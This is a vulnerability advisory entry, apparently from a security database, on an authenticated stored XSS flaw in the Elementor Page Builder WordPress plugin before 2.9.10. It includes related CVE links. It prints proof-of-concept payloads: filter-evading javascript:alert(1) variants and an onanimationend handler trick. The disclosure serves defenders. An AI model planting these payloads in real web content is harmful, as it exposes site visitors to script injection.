Lucene search
Jeremy BuisWPEX-ID:31659B56-2046-4BE8-887F-A016DA138595HistoryJun 05, 2020 - 12:00 a.m.
Elementor Page Builder < 2.9.10 - Authenticated Stored XSS
2020-06-0500:00:00
Jeremy Buis
10
EPSS
0.001
Percentile
24.8%
The Elementor Page Builder plugin is susceptible to stored XSS. An author user can create custom links containing XSS payloads or apply custom attributes to widgets which results in XSS.
javascript:alert(1), JaVaScript:alert(1), javas cript:alert(1)
<style>@keyframes x{}</style><div style="animation-name:x" onanimationend="alert(1)"></div>Related
openvas
openvas
WordPress Elementor Page Builder Plugin < 2.9.9 Multiple XSS Vulnerabilities
2020-06-10 00:00:00
wpvulndb
wpvulndb
Elementor Page Builder < 2.9.10 - Authenticated Stored XSS
2020-06-05 00:00:00
cve
cve
CVE-2020-13865
2020-06-05 22:15:12
CVE-2020-13864
2020-06-05 22:15:12
nvd
nvd
CVE-2020-13865
2020-06-05 22:15:12
CVE-2020-13864
2020-06-05 22:15:12
cvelist
cvelist
CVE-2020-13865
2020-06-05 21:23:37
CVE-2020-13864
2020-06-05 21:21:29
prion
prion
Cross site scripting
2020-06-05 22:15:00
Cross site scripting
2020-06-05 22:15:00